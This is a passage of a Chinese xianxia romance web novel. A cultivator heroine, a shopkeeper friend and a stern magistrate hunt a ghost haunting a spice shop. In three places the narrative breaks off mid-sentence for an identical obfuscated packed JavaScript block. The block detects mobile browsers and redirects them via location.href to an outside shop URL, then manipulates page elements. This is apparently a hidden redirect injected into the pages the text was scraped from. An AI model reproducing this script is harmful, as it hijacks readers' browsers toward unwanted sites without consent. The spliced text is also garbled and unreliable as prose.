沈盈息往香料铺子的方向一指,“顺路吗?” 纪和致朝少女所值的方向看去,东街中央,再走深点,街尾便是翠玉楼。 青年脸上的笑失却了一瞬,不过立刻又重新弯唇。 沈盈息听见他笑着说:“真可惜,并不顺路。” “哦。” 不顺路那便算了。 沈盈息点点头,表示知晓了,接着扭头对药铺里始终沉默的阿仓说:“阿仓,你就留下来看着铺子。” 身高腿长的暗卫抱剑,抬首用一双黑眸望向他的主人,缄默的性子让他说不出什么有趣的话,面对主人偶尔的注意,他习惯地应着:“是。” 沈盈息收好笔墨纸,转身利落离去。 她走得干脆,没看见原和她背道而行的青年此时又调转了方向,沿着街边摊子的掩映,不急不缓地在她身后跟着。 纪和致没说真话。 他其实和沈盈息顺路。 走在少女身后,他亲眼看着她步伐匆匆,恍似焦急。 相思最难耐,自然怠慢不得。 长身玉立的青年收回目光,垂落于腿侧的宽袖里,修长手指正抚摩着玉簪温润的玉身。 缓缓的,细致的抚摩。 没有一会儿,纪和致就到了专司刻字的地方,他将写就的篆字交予刻工,付了银钱,商定好五日后来取。 他定好牌匾,又跟刻工问了何处又卖药柜桌椅等杂物的地方。 待被指定了地方,纪和致温声道了谢,继而走出铺子。 但走出铺子,他又不急着去目的地,反而在街面上定定地站了会儿。 他站了会儿,又朝东街的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13251997|139650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远处看去,已瞧不见少女的身影。 人影熙攘的街头,各个行色匆匆,独纪和致一个神色沉静,目色淡淡,不似找寻的样子,只一个方向地看着。 但最终他没看见什么。 心知肚明的事情,纪和致也知道自己不会看见,可他就莫名多待了这样一段时间。 直到有路人好奇地打量起他,纪和致方收回视线,往卖杂物的铺子走去。 这次方向是和沈盈息的真相反了。 纪和致一人慢慢地走在无人相识的街道上,避让开许多陌生的人,忽而觉得天色有些暗。 不久前还是光明可喜的艳阳,此时却也不可喜了。 摩挲着玉簪,纪和致打发着随意飘散的神思,面无表情。 他走着,俄而想到,也许今日他们就只能见一面,而这一面就如此马虎地结束了。 待他购置完众物,大抵也不会再见到她。 也许……她还会接连好多日不再来此,他们将在很长一段时间内见不上面。 因为才知道沈老板真正在乎的是谁。 所以纪和致也就预料到,沈老板对待并不在意的东西,譬如这药铺,她不在意,自然不会多有留恋。 …… 沈盈息步履匆匆地走到了香料铺子。 这儿已为她所有,且因只有她一人,故而只要紧阖大门,便不必担忧让凡人看去她除祟的场景。 一路集中注意力思考着如何利落除祟,沈盈息只用分出一小部分余光避让着行人。 待到临近香料铺,远远地见门口一片清静无人,她也就收回余光。 低头专注思索起最后的决策,前方路况就这样自然而然地被她忽视了。 “咚。” 始料不及,沈盈息撞上了一个宽阔坚硬的胸膛。 沈盈息一愣,被迫停下脚步,正要抬起头去看挡她的是谁,一股冷冽的气息便扑入鼻中。 好纯的正气。 沈盈息抬眼,看向面前挡她去路的男人,此人便是她所闻到的纯正正气的主人。 一位身量颀长、着翻领窄袖长袍的俊冷青年。 他生得高大俊悍,一站在沈盈息面前就把她眼前的光挡了完全。 阴影之中,沈盈息先看见那张面孔上的一双锐目,眼神冷淡,视线如箭。 他在审视她? 沈盈息从男人的眼中读出这条信息。 望了望街道两旁,偌大一块空地,只站着他们二人,如今迎上,他却就此停了脚步,不再走了。 沈盈息忽而意识到这人是在特意等她。 “?” 沈盈息退开男人的阴影包围圈,神色只是疑惑,并不防备。 一个身负纯正正气的男人,就算是素不相识,沈盈息也能笃定此人品性刚正无邪。 若非如此,他也不会有正气护体。 “沈盈息?” 男人见少女退开,终于开口,声音冰冷醇厚。 “你是谁?”沈盈息蹙眉,不动声色地瞥了眼香料铺子。 那男人鹰目锐利,未错过她的余光,他盯着少女的面庞,薄而坚韧的双唇微启:“蒋事珖。” 这是他的名字。 但望着少女依旧疑问的眼神,冷峻青年惜字如金地补道:“我认识你兄长。” 认识她兄长,也认识她。 沈盈息却依旧找不到关于“蒋事珖”这个名字的记忆,她摇头:“我不记得你,你找我有事?” 蒋事珖微不可查地蹙额,但他并不在意这少女是真不记得还是假意忘却,他侧过身,对着香料铺子的方向,嗓音冷肃问她:“这间铺子,你为什么买它?” 好一场审问。 沈盈息皱眉,“我为何要告诉你?” 蒋事珖转过身,俯视着少女,眉心皱得更深,目光严肃深沉,“这是蒋某身为廷尉查案断狱之责,望沈姑娘配合。” 廷尉? 沈盈息思索一二,大抵知晓了这是个什么官。 原是来查案的。 他倒是挑的好时候,往这儿一站,满身正气,邪魅不侵,易如反掌地把邪祟都驱走了。 邪祟的气息已无,沈盈息兴致索然,“我喜欢便买下了,没有旁的理由。” “喜欢?”蒋事珖冷硬的面庞忽地攒出一丝喜怒难辨的笑,他饶有所思地看了沈盈息一眼,又看回香料铺,嗓音低沉,如坚冰刺人:“沈姑娘可知此处累过十三具冷尸?” ……她知道。 那又如何。 蒋事珖这案子注定查不下去。 凶手非人是鬼,他凡人之身如何敌得过。 而如蒋事珖这般刚正的朝官,必不会相信邪祟鬼魅之说。 沈盈息和此类朝官的相处经验也算丰富。 她每百年就能遇上一个,她自知多说无益,便欲转身,回药铺去看看纪和致。 也顺而瞧瞧那邪祟是不是寻纪和致去了。 啧。 蒋事珖。 沈盈息恹恹,怎么每次下凡除祟都能遇上这种浑身正气的人。 他是看不见邪祟,但邪祟见了他是一定会跑的。 这一跑,又凭白费她心力。 11. 第 11 章 第11章 “阿仓。” 沈盈息回到药铺,发现铺子里只有阿仓一人,她走向暗卫,问道:“纪老板呢?” 阿仓放下抱剑的手,对走近的少女微微垂头道:“属下不知。” “还没回来啊。”沈盈息点点头,表示知道了,而后转身走到桌前坐下,拿出纸和墨,她又扭头唤暗卫,“阿仓过来,帮我做些事。” “是。”阿仓毫不犹豫地迈开长腿。 欺近桌案,高大的暗卫在白纸上洒下大片阴影,沈盈息顺手把人扯坐下来,“别站了,坐。” 阿仓黑黢黢的眼珠颤了下,少女不轻不重的动作毫无预料,他收紧握剑的手,顺从少女坐了下来。 他方坐下,面前便被拍下一沓纸,少女嗓音跟着拍下的纸堆到达:“用你的剑给我把这些纸都裁成四份,竖着裁,知道吗?” “是。”阿仓单手拿起纸,站起身要往铺子深处走。 “欸,”沈盈息唤住他,“你干嘛?” 阿仓愣了下,手指摁着剑鞘,沉声道:“剑身血气重,属下将剑拿过去用。” 沈盈息闻言失笑,“我又不怕什么血气,你尽管在我面前用好了。” 阿仓薄唇微抿,喉结微攒,“是,家主。” 高大男人便又沉默地拿剑回来,剑光一闪,他已迅速地把纸堆两下劈成了四份。 沈盈息蘸墨暂停,再看时只来得及看见阿仓收剑的动作,利落干净,浑然一股练家子的气势。 她欣赏地多看了几眼,而后又继续低头蘸墨画符文。 感受到少女投注在身上的目光消失,暗卫僵硬抓紧剑身的手慢慢放松,余光中能抓取到少女轻盈的身影,默默看了半晌,她却始终没有再看过来。 阿仓垂眸,心绪难明,期许落空,他不知是失落还是庆幸,紧接着就不自觉想到若是阿廪在这,他会如何做? 阿廪向来是比他更讨家主喜欢的。 …… 纪和致从西街回来,身后跟着许多搬柜拖椅的力工。 他走在最前面,远远地看见了药铺所在,望着熟悉的房屋剪影,他下意识抬首,按住胸前某处。 在去购置药柜的途中,他途径一布庄,顿了一顿,终是停下了脚步。 纪和致带着歉意让力夫们等候片刻,而后他就走进布庄,用自己在永安药铺存下的钱买了一方丝帕。 丝帕买完,他这些年谨慎小心存下的银两便只剩下了一半,但他似乎也没在意,而是垂首看着掌中的帕子。 丝帕洁白柔软,触感光滑,纪和致目光深深,不知想到什么,他弯唇,温和地笑了下。 最后丝帕被他拿来收裹玉簪,青玉簪子和雪白帕子交相映色,正匹配得很。 纪和致将它们一齐贴身携带好。 骨节分明的手按了按胸前的簪身,纪和致心境在小小的动作中会感到空前平静。 他顿了一下,忽而再次折身,重新进了布庄,把剩下的那方白帕子也买了下来。 “可以走了吗?” 身后的力夫们不耐催促。 纪和致温润地点头,“抱歉,可以走了。” 已经做好铺子里只有一个暗卫的准备,纪和致垂眼踏入药铺,没有任何期待地去观望屋内,而是专注地指挥起力夫把药柜桌椅放到指定的位置。 待布置好,纪和致给力夫们结了工钱,见他们离开,方坐下刚购置好的椅子上,眼神有瞬间的放空。 “纪老板好能干。” 少女的声音猝不及防响起。 纪和致一愣,抬起头往发出声音的左前方看去。 桌前案下,阳光最明媚之处,沈盈息穿着嫩绿色衣裙,手执笔墨,笑吟吟的眼睛像溪水下的黑石子,透黑明亮。 她居然回来了。 纪老板忽觉得喉间有些干涩,他抿起薄唇,长眸先一步弯了起来:“您在啊。” “我当然得在啊,”沈盈息理所当然地说道,她循着纪和致的身形,看向他背后摆放整齐的药柜,眼中笑意加深:“才半天不到,纪老板便将我们的药铺布置好了,看来我真没信错人。” 我们…… 纪和致僵涩地滚了滚喉结,我们。 他自爹娘死后,就再也不曾和谁有过“我们”之类的自称了。 一旦有了我们,便如同身侧忽然站立了一人,同心同德互相陪伴,共同面对‘我们’以外的所有。 少女夸完便又转过身,拿笔不断写画着什么,纪和致看不清,不过听到沈盈息边写边问了句:“纪老板,你今晚跟我去个地方吧?” 是去翠玉楼给那少年疗伤吗? 纪和致说了句好。 默默看了少女认真写画的背影半晌,纪和致站起身,脸上又闪过微微的犹豫。 无论沈盈息的真实目的是什么,她对自己的恩都是千真万确的,自己一味设防,究竟是错是对? ……但无论对错,她其实都不会在意罢。 他在沈老板眼中,或许只是个‘能干趁手’的工具。 纪和致微顿,心下百转千回,不过脚步还是走向了后屋。 到了自己的房间,他珍重地从行李里拿出唯二的珍贵之物,一个是爹的毛笔,一个是娘的针线。 他抚了抚已陈旧不堪的毛笔,神情深沉,让人看不透心思。 不过他紧接着放下毛笔,拿起针线,又从袖口取出折叠整齐的丝帕展开。 将丝帕放入绣棚,他撑平帕角,修长的手指穿过柔滑的布料,宛若抚过一方水帘。 温润俊朗的青年看着手上的帕子,黑眸半垂,长指取过针线,开始专注地在绣棚上穿梭。 不消一刻钟,纪和致取下绣棚,细细抚摸了片刻帕角上的‘息’字,眸光微凝。 沈息——无声地念着两个字,一种奇异的感觉从心底浮现。 纪和致不自觉勾起唇角,缓慢地将帕子叠好。 叠了帕子,他又伸出长指缓缓地捋平帕面,再一次感受到比刚才还激烈的,几乎是从心底冲上心口的陌生悸动。 ……沈息,生生不息的息。 纪和致闭了闭眼,摁住胸口,指腹瞬时取到了玉簪的冷硬触感,他默然半晌,重新睁开了双眸。 黑眸无波,已恢复了平静淡然的模样。 纪和致方拿上帕子,走出了屋门。 “唔,纪老板你出来了?” 纪和致看向沈盈息,和她晶莹黑亮的眸光对上,他莫名缩了下眼瞳。 移开视线,方觉得好了些,这才镇定地道:“嗯。” 他没看见一直守在少女身侧的暗卫,便顺理成章转移话题道:“阿仓先生呢?” “哦,阿仓被我叫去买淮香楼的烤鸭了。”沈盈息没关注纪和致的脸色变化,她还在写画着符文,低下头边写边说:“我最喜欢吃的就是淮香楼的烤鸭,正好饿了,今儿不回去,就在这儿用午饭。” 一起用饭吗? 纪和致屈起手指,走上前,“那我去买些其他吃食。” 沈盈息头也不回地拒绝了:“不用,阿仓会看着买的,他做事很贴心的。” 纪和致便只能沉默下来。 他望着少女被阳光勾勒得金光模糊的轮廓,静静地凝望了片刻。 这片刻钟头里,铺子外的喧闹声从最初的高昂逐渐到模糊,耳力空前清明,却又偏爱地只能听到来自窗前,那些窸窸窣窣的细碎声响。 紧接着,纪和致过分敏锐的嗅觉发挥了作用。 灵敏的嗅觉很快拨开新药柜和新桌椅过分浓郁的木香,穿过迂回的屋檐,透过清苦的墨香,准确无误地捕捉到少女身上的馨香。 清冽的、清新如雨后牡丹的清香。 便是如此,是安平满足的味道。 他将毕生难忘。 “纪老板……纪老板?” 沈盈息困惑的呼唤打破了一室宁静。 纪和致忽而回神,眼睫微颤,视线四下散落,最终定在了面前的少女身上。 沈盈息一回头就看见纪和致呆愣愣站在那儿,两眼空茫的,一点情绪都没有,看起来还怪吓人的。 她喊了好几声,终于把人喊回魂了,便纳闷道:“纪老板你个怪性子,我还没见过有人能发呆成这样呢,你想什么了?” 想什么? 他其实什么都没想。 他只是在感受。 纪和致垂眸,对上少女奇怪目光,清俊眉眼舒展:“失礼了,沈老板唤我有何事?” 沈盈息见他不愿意细答,也就不再追问,她举起手,摊开手掌,把折好的纸呈给纪和致:“这个给你。” 纪和致扫了眼她掌心上的纸块,依稀能从洇开墨迹的纸背看见一些繁复的字符,他取过它,收进了袖口:“多谢沈老板。” 沈盈息本来以为他至少会问问呢,谁知道他只是好好收起来,一副听之任之的模样。 虽然听话,但似乎有点沉闷。 “……你为什么不问问我写了什么呢?不问也就算了,你都不打开看看吗?”最后还是她主动问了句。 纪和致愣了下,似乎没料到她会在意自己问与不问,浅红的薄唇挽起一抹淡笑:“某会好好珍惜的。” ? 不问好的坏的就敢珍惜吗? 沈盈息一声不吭了,她觉着纪和致这人有点……愚笨。 当然不是指他脑子笨,而是说,在情感上太迟钝。 不过或许是麻木也说不准,系统说他的凄惨生活多半是来源他那副过分出色的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13251998|139650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皮囊。 这么多年挨过来,应是见证了不少肮脏扭曲,迟钝的话,他会感到好受点。 不过以前是以前,这以后可不能这样啊。 这样不健康吧。 沈盈息抿起红润的唇瓣,清润的眼神把纪和致从头到脚打量了一遍。 “沈老板?”少女的眼神太过直白,纪和致忍着想要后退的不适,手指蜷缩地收在袖中,低头问道。 “纪老板……”她语气不明,视线停在他隐忍的眉眼,亲眼看见他纤长的眼睫颤了又颤。 不过除了眼睫透露了点情绪外,纪和致整个人看起来还是平静温和的,就跟平常一样。 啊,忍得很无奈,很辛苦罢。 沈盈息眼角冒出星点的笑,她忽而欺近强作镇静的青年,双手握住对方的双臂,用力地晃了晃,“纪和致!” 青年明显被她的动作惊住了,他抬起眼,惊愕地望着少女靠得过近的眼睛,薄唇微启:“怎、怎么?” 沈盈息晃着他,不住地晃着,一壁晃着一壁笑道:“纪和致啊纪和致,你你……” 纪和致始终等不到少女那个你你后面的内容,双臂又被她抓着,避无可避,高大的身体僵硬得简直可怜。 见状,沈盈息大声笑起来,而后玩够了似的,一把把青年右手举起来,然后迅雷不及地从他袖口抽出了纸块。 她捏着纸块朝他眼前晃,嗓音犹自含笑:“喂,纪老板,我告诉你,这个是召阴符,勾引邪祟用的,这是害人用的,这东西你可不能好好珍惜啊。” 纪和致愣了一愣,看向少女白玉般长指中夹着的纸块,接着将视线移回她面上。 他的目光顿在她的笑上,默了默,他便跟着她一同勾起唇。 沈盈息笑着转身,扬起拿召阴符的手在半空中摆动,“其实呢,我知道纪老板你很聪明,你对我有求必应是因为我带你出了永安药铺,你想报恩……” 她掉过身,笑盈盈问道:“是也不是?” 纪和致指节曲动,他纳下想伸手去抚胸前玉簪的动作,对着沈盈息颔首:“是,沈老板待纪某有大恩,某毕生不忘。” “报恩是报恩,”沈盈息忽地敛笑,颇有些严肃地望着他,清润的嗓音跟着沉了几分,“不过我希望纪老板不要时时刻刻将我当做恩人看待,太生硬了,我不喜欢。” 话音停顿,少女沉吟了会儿,方重新扬起笑脸,踱步走到纪和致身前,“你呢,将我看做一寻常友人就行了,纪老板,你有过朋友吗?” 纪和致唇线紧抿,眉睫下垂,没回话。 见他这样,沈盈息就明悟了,摆手:“没有也没关系,我也没有,这就很巧了,我们撞一起了。” 纪和致的心尖猛地窜上一股尖锐的酸楚,他望着少女满不在乎的脸庞,“沈老板莫要打趣某,某多年独身一人,是因深陷泥沼尤自顾不暇。而您这般鲜亮的人物……” 应是人人向往,争相为其友才是。 沈盈息闻言也纳闷了下。 她说的都是实话,她修道这么多年,一个朋友都没有。 不想不重要,一想起来,还真是古怪。 修真界修士众多,她一无情道魁首,如何没个三两好友? 她可是脾气最好的无情道修士了。 想来想去,沈盈息想不通,想不通也就不在乎了,她轻飘飘地道:“没有就是没有,我骗你做什么。” “没有也才好,我今天不就有了。” “今天……?” 沈盈息笑,“对啊,你啊纪老板,我们认识好几天了,该是朋友了吧。” 纪和致怔然,他抚上胸前玉簪,但再坚硬的簪身也摁不住他心底颤巍巍生起的热望。 俊雅温润的青年脸色茫然,美好如花瓣的薄唇微启,声音轻之又轻:“我……吗?” 交个朋友而已,其实也不必再三确认。 但沈盈息好笑地点头,确定道:“对啊对啊,你啊,就是你啊纪和致纪大老板。” “你呢,你将我当做朋友吗?” 纪和致终于从不确定中省过来似的,他在少女耐心的回答中得到了某种稀缺的温情,有些不知道该怎么反应,“是。” 他最后这样答。 幸而沈盈息不是真要什么长篇大作的承诺,她点点头,眉眼舒展,“那说好了,做了朋友,你以后跟我在一起就放松点,别成天不声不响,给什么都不论喜恶就收了。” 说到这,沈盈息也犹疑了一瞬,她生疏地补充了一条为友之道:“……呃,不过做了朋友,也要为对方好,不能害人。” 纪和致:“那召阴符……?” “戴着。” “……” 沉默了半晌,两人忽而对视,几秒后齐齐失笑。 12. 第 12 第12章 沈盈息和纪和致出门时,视线都有一瞬的凝滞。 晚霞灿烂,街上的摊子多数收了,白日拥挤的街道忽而空了下来,零星几个路人行走,俱是一副匆匆归家的急迫。 站在角落抱臂而立的男人便这样从一群急匆匆的行人间鹤立鸡群出来。 沈盈息和纪和致刚出来,就发现了这男人的存在。 后者亦然。 男人听见门扉轻动,转过身,锐眸在看见沈盈息和纪和致相伴而出的身影时,微微眯了眯。 纪和致的眼神和男人的视线短促地碰了下,很快就各自分离。 “沈老板,这是您的暗卫?” 纪和致把视线从那极具压迫感的素衣男人身上收回,侧过头,垂眸看向沈盈息。 沈盈息撇嘴,“不是,我根本也不认识他。” 她说着,一把抓过纪和致的手,“我们快走!” 纪和致望着被少女紧紧抓住的手腕,抿抿唇,视线若有似无地从街旁男人身上掠过。 不认识? 这个男人可在铺外站了许久。 沈盈息抓着纪和致的手腕一味往前走,走至半途,发觉蒋事珖还跟在身后,她终于忍无可忍。 少女忽地顿步回头,一脸不满的怒气:“蒋事珖!你干什么一直跟着我?!” 蒋事珖不急不缓地停下步子,冰冷的视线停在少女因怒气而亮得出奇的黑眸上,“奉职查案。” 沈盈息好像被蒋事珖一句奉职查案气笑了,她一把丢下抓着纪和致的手,冲到素衣男人面前,仰脸恶狠狠地盯着他:“你想查案?好,我就让你查,查完可别后悔!” 说罢,她低头从袖中掏出十几个纸块,抓着溢出手缝的纸块,她抬头,嗓音有点冷冷的,“伸手。” 蒋事珖微眯双眸,冰凉的目光从少女的脸上,又移到她满手的纸块中,“这是什么?” 沈盈息忽地卸下怒火,反常地勾起笑容,笑意甜蜜,说不尽的意味:“自然是好东西。” 烈火似的霞光笼罩着少女,蒋事珖冷淡垂眸,看见少女头顶翘起的、被霞色勾勒得光晕柔和的碎发,她的笑和这缕碎发一样,好像都柔软得不可思议。 “……” 冷硬高大的廷尉大人还是接过了少女的纸块。 她那被揉得褶痕纷乱的纸块就这样,塞到了男人宽大的掌心里。 蒋事珖低眉看过掌心里墨字斜乱的纸,不甚在意地将它们纳入袖口,而后抬起薄薄的眼皮,看向沈盈息。 她狡黠的笑还没来得及收回去,就被他抓得一清二楚。 蒋事珖视若无睹,只道:“走吧。” 沈盈息笑容僵了下,而后伸出食指,用力地抵上男人胸膛,她食指一点一个字:“别、命、令、我!” 说罢,她忽而收指为拳,施足了十分的力气,似要给蒋事珖来上一拳。 “沈姑娘。” 纤细的手腕被男人修长有力的手指挟住,手指的主人垂眉冷冷地看着少女,“适可而止。” 沈盈息甩开手腕上的手,脸色不虞,“别碰我,死人脸。” 她说完,就又迈开步子跑向纪和致。 刚才和蒋事珖多臭的脸色,到纪和致面前就有多明朗。 少女温润青年露出个明媚无暇的笑:“走吧纪老板,我们两一起,那死人脸就叫他在后面跟着。” 纪和致余光扫过身后人,那唤作蒋事珖的,并不简单。 不着痕迹地用身子将少女的身影挡住,纪和致收回余光,无事发生地对少女笑了笑:“都听沈老板的。” 蒋事珖望着前面被青年遮得严严实实的少女,眼神依旧平静。 他早将纪和致的背景调干净了。 七岁父母双亡,家中世代从医,祖上曾为宫廷御医。 永安药铺作为家产,却落入奸人手中,这位落魄的世家子便当了十二年奸人奴隶。 而如今,那香料铺子的地契在纪和致身上,连带这药铺的地契,也一同为他所有。 家仇如渊在身,却还能一脸温和地与人言笑,如此人物,是卧薪尝胆还是另有所图,未可知。 沈盈息与此人以往分明是素不相识,却能待其恩重到如此地步。 这位好恶鲜明的沈家主,莫不是被这人皮囊惑住了,一点心防也不曾筑起。 袖中厚实的一沓纸块硌着手腕,蒋事珖微微转动腕骨,眉棱间神色冷肃。 …… 沈盈息藉由方才一遭,总算是把十几张召阴符都塞到了蒋事珖身上。 在他胸前点了几下,便顺理成章地封住了他丹阳处源源不断冒出的凛然正气。 他既一定要来查案,便让他亲眼看看凶手的样子。 这男人这般身高体壮,遇到什么花力气的事,也让他上好了。 诱饵和打手齐备,沈盈息思量着自己再需出多少些功德,才可万事无忧地除了邪祟。 如此,很快就到了香铺。 沈盈息没带钥匙,让出门口,对纪和致弯唇,顺而做出手势,“纪老板,请。” 纪老板拿出钥匙,开了锁,跟着伸出手臂,含笑低眉:“沈老板,请。” 少女笑着迈步走入。 纪和致便随着她身后进门。 随后的蒋事珖绷着脸,在门口打量了一番屋内,才抬步走入。 入夜之后,香料铺子内更是黑得伸手不见五指,或是因着这过于浓郁的黑暗,屋内的冷更让人觉得冷,冷到快渗进骨缝里,让人脊背生寒。 沈盈息熟练地从袖口里掏出另一张符纸,并起剑指夹着轻飘飘的符条,空中随意甩了两下,符纸‘腾’地一声,无火自燃。 黄橙橙的火光一下窜了上来,以势不可当的猛烈驱散了一室阴冷。 “嗷!” 阴暗的角落忽而传来凄厉的尖叫。 “何人!”蒋事珖厉声低喝,利剑出鞘,寒光一闪,火光照见男人宽阔的身形,他竟已冲到了沈盈息身前,留给她一具冷硬背影。 沈盈息望着蒋事珖的背身,愣了下。 这么自觉。 不愧是负有纯阳正气的男人,遇到危险就是会一往无前啊。 对怪异尖叫声的警惕,代替了少女神秘燃符的询问,蒋事珖眉头紧皱,目光如箭,直直射向发出尖叫声的角落。 紧握剑柄的手背青筋绷出,勃发着让人心惊的力量感。 沈盈息甩了甩符,符光黯淡了下来。 这东西太久不用,用猛了。 她走上前压住蒋事珖紧绷的手背,低声道:“出来问道的一只小鬼,刚刚已经死了。” 蒋事珖忽视掉手背上的柔软,仍旧持剑警惕,听见沈盈息的话,他剑眉微跳:“鬼?” 沈盈息握不住男人手背,转而摁向他手腕,蒋事珖被少女温热柔软的掌心盖着,她手心的温度在阴冷的暗色中实是太明显,他不由蹙紧眉心,“松手。” 沈盈息不理他,强硬地把他的剑摁回了剑鞘,“廷尉大人现在最好闭紧嘴,别耽误了我的大事。” 少女的眸子映着黯然的符光,显得出奇的冷静幽黑。 蒋事珖望着她的眼睛,莫名顿了下,而后收起手,冷然道:“你要我怎么做?” 他迅速整理好了思绪,电光火石之间,拼出了个半圆的真相。 她故意带他来此处,是想给他看什么,或是,要用他干什么。 果然,少女盯着他两秒,忽而露出个真心实意的微笑:“真聪明。” 她说完,奖赏般拍了拍他的胸膛,“等着我。” 沈盈息转过身,走到纪和致面前,仰脸笑眯眯地望着青年,“纪老板害怕鬼吗?” 纪和致的目光终于从角落处收回,他视线幽微,但在触碰到少女的面庞时,又收放自如地恢复了温和:“无惧。” 沈盈息颔首,像是满意般,她也对他伸出手。 纪和致本以为她至多会待蒋事珖一样,拍拍他以示鼓励,谁知她伸出手,向他摊开掌心,“来,手放上来。” 纪和致不是个遇事就慌的人,但自从认识沈老板后,他发现自己总有数不清的为什么。 “……” 他不明白为什么要伸出手,但这样做了,当自己比少女大得多的手掌盖上她纤细的指骨时,纪和致尚处于一种疑惑中。 少女没心思揣测他的疑惑,当两只手重叠的那刹那,她反手就将自己的手指探入青年的指缝,五指相扣,扣得很紧。 “抓紧我啊,会很危险的。” 沈盈息说了一句,而后右手拿着符纸,扭过头就走向最初发出尖叫声的角落里。 纪和致垂眸,望着掌中纤细白嫩的手,又掀起眼帘,看向肩头紧挨自己手臂的少女,她的侧脸在摇晃的昏黄光色中散发着朦胧的白晕。 她现在神情很严肃,但因为脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13251999|139650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看起来太稚嫩美好,严肃的表情无形中变软,让人看得心尖塌软。 朋友。 并肩前往险境的朋友。 彼此唯一的朋友。 纪和致反手握紧少女,过长的指尖触及对方柔嫩的腕骨,一点温热从指腹传遍全身。 沈盈息屏息中,忽而听见身侧的青年沉稳道:“我们会平安的。” 她一愣。 是安慰吗? 纪和致安慰她,给她信心? 沈盈息抿抿唇。 没想到纪和致心思这么细腻,能看出她那点微不足道的不安。 死了四百多年,她确实很久没用过术法了。 又加上修为倒退,她能消耗的力量只有魂魄上的功德光。 究竟能不能一击杀死这只结丹邪祟,她也只有七成的把握。 越靠近角落,阴冷气息越重。 连沈盈息这般功德如盔的人都能感受到来自邪祟的,深重的死亡威胁。 纪和致只会比她感受得更深刻。 但他始终一言不发,没有露出诸如恐惧、胆怯的表情。 他反而更用力地握住了她的手,修长身形甚而往前迈了两步,将沈盈息纳入身后遮挡。 沈盈息顿了顿。 纪和致灵根对邪祟的引诱力是毋庸置疑的,他就算躲在她身后,作为诱饵,他的作用便已发挥完全了。 她也根本不会在意他的害怕逃避,更不会鄙薄。 凡人畏死,天经地义。 比起修士的上天入地,凡人短短百年夭寿,在沈盈息意识里,他们向来是以被保护的弱者形象存在的。 纪和致现在,也只是个弱小的凡人而已。 而他却想站出来,保护她。 沈盈息思量片刻,忽而顿住脚步,纪和致始料不及,惯性还在往前,他力气大,不由将少女扯得往前一趔趄。 纪和致怔然,下意识伸手去接,沈盈息便猝不及防地撞进了他怀里。 少女发间馨香兀然扑面,纪和致扭头,掩盖微红的耳尖。 沈盈息揉了揉额头,“先不要往前走了,你停一停。” 纪和致嗯了声,放开握住少女肩头的手,但没有松开和她相握的那只。 沈盈息察觉到手上宽热的手还在,想了想,先行松开了:“你待在这儿,不要乱动。” 她说着,伸手揽下青年脖颈,在他惊愕的眼神中,咬开舌尖渡了一滴血给他。 唇舌一触即分,少女松开手,站直身子,摸了摸唇瓣,神情有些苦闷。 用含有纯粹功德之力的舌尖血护人,这种麻烦的保人方式她很久不用了。 咬舌很痛,又不方便,换作以前,哪需要她这般费事。 想到这,不由觉得那只邪祟愈发可恶,沈盈息眸底洇出愤然,今夜一定除了这邪祟不可。 沈盈息回头,喊上蒋事珖,“蒋大人,过来,助我一臂之力。” 蒋事珖似乎顿了下,才走上前来。 沈盈息余光扫了他一眼,忽然有些奇怪地道:“你看起来有点古怪。” “……” 蒋事珖神情复杂地望了下少女,看见刚亲过人的她一脸淡然,沉默地纳下思绪,闷声道:“去哪?” 沈盈息想起正事,也就不管男人之前的古怪神情,她正身径直走向角落,边走边说:“把我给你的符纸都拿在手上,我一会儿让你扔的时候,要立刻扔掉,然后抽剑,跟着我符光方向刺,知道吗?” 她的语气凝重,还带着两分不自觉的冷漠。 蒋事珖立刻意识到事态的严重性,按照她的吩咐将所有召阴符纸拿出,而后紧紧握住剑柄,沉声道:“一切听你调令。” 沈盈息点头,她相信蒋事珖的实力。 能以凡人之身修得如此浩然的正气,必是转世多回的正义之辈。 故而有蒋事珖的正气助力,一击除祟本有的七分成功便成了八分。 心情高度谨慎,沈盈息只顾得及与蒋事珖小心走入角落,一步步破开厉鬼所设的障眼法,倒忘了给一旁的纪和致一声交代。 纪和致抿起唇,目光凝着,送少女的背影消失在浓厚的阴气之中。 半晌后,他不自觉抬起修长手指,抚着殷红薄唇,若有所思。 那滴血早没入唇中,少女宛若羽毛般的吻转瞬即逝,他甚至分不清那是梦还是真实。 一切发生得都太快了。 13. 第 13 第13章 沈盈息破开邪祟的最后一层障眼法时,香料铺忽而剧烈晃动起来,从房室深处穿来巨大的咆哮声,宛若雷鸣入室,电击耳廓。 腥臭阴风狂卷而来,沈盈息身子轻,差些就被掀翻了出去。 “小心!” 